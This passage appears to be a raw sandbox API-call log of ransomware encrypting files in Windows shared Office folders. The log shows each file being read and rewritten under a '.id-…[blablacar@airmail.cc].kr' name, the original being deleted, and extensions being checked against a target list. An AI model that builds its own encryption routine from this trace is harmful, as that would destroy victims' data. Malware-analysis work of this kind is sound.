dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0089.446] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=4782) returned 1 [0089.446] CloseHandle (hObject=0x358) returned 1 [0089.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0089.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0089.446] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.446] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.446] GetLastError () returned 0x0 [0089.446] ReadFile (in: hFile=0x358, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x12ae, lpOverlapped=0x0) returned 1 [0089.448] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x12b0, lpOverlapped=0x0) returned 1 [0089.449] ReadFile (in: hFile=0x358, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.449] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x104, lpOverlapped=0x0) returned 1 [0089.449] SetEndOfFile (hFile=0x35c) returned 1 [0089.449] CloseHandle (hObject=0x35c) returned 1 [0089.455] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.455] SetEndOfFile (hFile=0x358) returned 1 [0089.456] CloseHandle (hObject=0x358) returned 1 [0089.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0089.456] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0089.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.457] lstrlenW (lpString=".doc") returned 4 [0089.457] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.457] lstrlenW (lpString=".docx") returned 5 [0089.457] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0089.457] lstrlenW (lpString=".pdf") returned 4 [0089.457] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.457] lstrlenW (lpString=".xls") returned 4 [0089.457] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0089.457] lstrlenW (lpString=".xlsx") returned 5 [0089.457] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0089.457] lstrlenW (lpString=".ppt") returned 4 [0089.457] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.457] lstrlenW (lpString=".zip") returned 4 [0089.457] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0089.457] lstrlenW (lpString=".rar") returned 4 [0089.457] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.457] lstrlenW (lpString=".bz2") returned 4 [0089.457] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.457] lstrlenW (lpString=".7z") returned 3 [0089.457] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.457] lstrlenW (lpString=".dbf") returned 4 [0089.457] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.457] lstrlenW (lpString=".1cd") returned 4 [0089.457] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.457] lstrlenW (lpString=".jpg") returned 4 [0089.457] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.458] lstrlenW (lpString=".doc") returned 4 [0089.458] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.458] lstrlenW (lpString=".docx") returned 5 [0089.458] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0089.458] lstrlenW (lpString=".pdf") returned 4 [0089.458] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.458] lstrlenW (lpString=".xls") returned 4 [0089.458] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0089.458] lstrlenW (lpString=".xlsx") returned 5 [0089.458] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0089.458] lstrlenW (lpString=".ppt") returned 4 [0089.458] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.458] lstrlenW (lpString=".zip") returned 4 [0089.458] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0089.458] lstrlenW (lpString=".rar") returned 4 [0089.458] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.458] lstrlenW (lpString=".bz2") returned 4 [0089.458] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.458] lstrlenW (lpString=".7z") returned 3 [0089.458] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.458] lstrlenW (lpString=".dbf") returned 4 [0089.458] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.458] lstrlenW (lpString=".1cd") returned 4 [0089.458] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0089.458] lstrlenW (lpString=".jpg") returned 4 [0089.459] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.459] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0089.459] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0089.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0089.459] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=4450) returned 1 [0089.459] CloseHandle (hObject=0x358) returned 1 [0089.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0089.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0089.460] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.460] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.460] GetLastError () returned 0x0 [0089.460] ReadFile (in: hFile=0x358, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x1162, lpOverlapped=0x0) returned 1 [0089.462] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x1170, lpOverlapped=0x0) returned 1 [0089.463] ReadFile (in: hFile=0x358, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.463] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x108, lpOverlapped=0x0) returned 1 [0089.463] SetEndOfFile (hFile=0x35c) returned 1 [0089.464] CloseHandle (hObject=0x35c) returned 1 [0089.464] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.464] SetEndOfFile (hFile=0x358) returned 1 [0089.465] CloseHandle (hObject=0x358) returned 1 [0089.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0089.466] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0089.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.466] lstrlenW (lpString=".doc") returned 4 [0089.466] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.466] lstrlenW (lpString=".docx") returned 5 [0089.466] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0089.466] lstrlenW (lpString=".pdf") returned 4 [0089.466] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.466] lstrlenW (lpString=".xls") returned 4 [0089.466] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0089.466] lstrlenW (lpString=".xlsx") returned 5 [0089.466] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0089.466] lstrlenW (lpString=".ppt") returned 4 [0089.466] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.466] lstrlenW (lpString=".zip") returned 4 [0089.467] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0089.467] lstrlenW (lpString=".rar") returned 4 [0089.467] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.467] lstrlenW (lpString=".bz2") returned 4 [0089.467] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.467] lstrlenW (lpString=".7z") returned 3 [0089.467] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.467] lstrlenW (lpString=".dbf") returned 4 [0089.467] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.467] lstrlenW (lpString=".1cd") returned 4 [0089.467] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.467] lstrlenW (lpString=".jpg") returned 4 [0089.467] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.467] lstrlenW (lpString=".doc") returned 4 [0089.467] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.467] lstrlenW (lpString=".docx") returned 5 [0089.467] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0089.467] lstrlenW (lpString=".pdf") returned 4 [0089.467] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.467] lstrlenW (lpString=".xls") returned 4 [0089.467] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0089.467] lstrlenW (lpString=".xlsx") returned 5 [0089.468] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0089.468] lstrlenW (lpString=".ppt") returned 4 [0089.468] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.468] lstrlenW (lpString=".zip") returned 4 [0089.468] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0089.468] lstrlenW (lpString=".rar") returned 4 [0089.468] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.468] lstrlenW (lpString=".bz2") returned 4 [0089.468] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.468] lstrlenW (lpString=".7z") returned 3 [0089.468] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.468] lstrlenW (lpString=".dbf") returned 4 [0089.468] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.468] lstrlenW (lpString=".1cd") returned 4 [0089.468] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0089.468] lstrlenW (lpString=".jpg") returned 4 [0089.468] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.468] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0089.469] lstrlenW (lpString="Alphabet.xml") returned 12 [0089.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0089.470] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=791421) returned 1 [0089.470] CloseHandle (hObject=0x358) returned 1 [0089.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0089.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.470] lstrlenW (lpString=".doc") returned 4 [0089.470] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.470] lstrlenW (lpString=".docx") returned 5 [0089.470] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0089.470] lstrlenW (lpString=".pdf") returned 4 [0089.470] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.470] lstrlenW (lpString=".xls") returned 4 [0089.470] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0089.470] lstrlenW (lpString=".xlsx") returned 5 [0089.470] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0089.470] lstrlenW (lpString=".ppt") returned 4 [0089.470] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.470] lstrlenW (lpString=".zip") returned 4 [0089.470] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0089.470] lstrlenW (lpString=".rar") returned 4 [0089.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.471] lstrlenW (lpString=".bz2") returned 4 [0089.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.471] lstrlenW (lpString=".7z") returned 3 [0089.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.471] lstrlenW (lpString=".dbf") returned 4 [0089.471] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.471] lstrlenW (lpString=".1cd") returned 4 [0089.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.471] lstrlenW (lpString=".jpg") returned 4 [0089.471] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.471] lstrlenW (lpString=".doc") returned 4 [0089.471] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.471] lstrlenW (lpString=".docx") returned 5 [0089.471] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0089.471] lstrlenW (lpString=".pdf") returned 4 [0089.471] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.471] lstrlenW (lpString=".xls") returned 4 [0089.471] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0089.471] lstrlenW (lpString=".xlsx") returned 5 [0089.471] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0089.471] lstrlenW (lpString=".ppt") returned 4 [0089.471] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.471] lstrlenW (lpString=".zip") returned 4 [0089.471] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0089.472] lstrlenW (lpString=".rar") returned 4 [0089.472] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.472] lstrlenW (lpString=".bz2") returned 4 [0089.472] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.472] lstrlenW (lpString=".7z") returned 3 [0089.472] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.472] lstrlenW (lpString=".dbf") returned 4 [0089.472] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.472] lstrlenW (lpString=".1cd") returned 4 [0089.472] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0089.472] lstrlenW (lpString=".jpg") returned 4 [0089.472] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.472] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0089.472] lstrlenW (lpString="Content.xml") returned 11 [0089.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0089.473] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=27045) returned 1 [0089.473] CloseHandle (hObject=0x358) returned 1 [0089.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0089.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.473] lstrlenW (lpString=".doc") returned 4 [0089.473] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.473] lstrlenW (lpString=".docx") returned 5 [0089.473] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0089.473] lstrlenW (lpString=".pdf") returned 4 [0089.474] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.474] lstrlenW (lpString=".xls") returned 4 [0089.474] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0089.474] lstrlenW (lpString=".xlsx") returned 5 [0089.474] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0089.474] lstrlenW (lpString=".ppt") returned 4 [0089.474] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.474] lstrlenW (lpString=".zip") returned 4 [0089.474] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0089.474] lstrlenW (lpString=".rar") returned 4 [0089.474] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.474] lstrlenW (lpString=".bz2") returned 4 [0089.474] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.474] lstrlenW (lpString=".7z") returned 3 [0089.474] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.474] lstrlenW (lpString=".dbf") returned 4 [0089.474] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.474] lstrlenW (lpString=".1cd") returned 4 [0089.474] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.474] lstrlenW (lpString=".jpg") returned 4 [0089.474] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0089.474] lstrlenW (lpString=".doc") returned 4 [0089.474] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.474] lstrlenW (lpString=".docx") returned 5 [0089.474] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0089.475] lstrlenW (lpString=".pdf") returned 4 [0089.475] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.475] 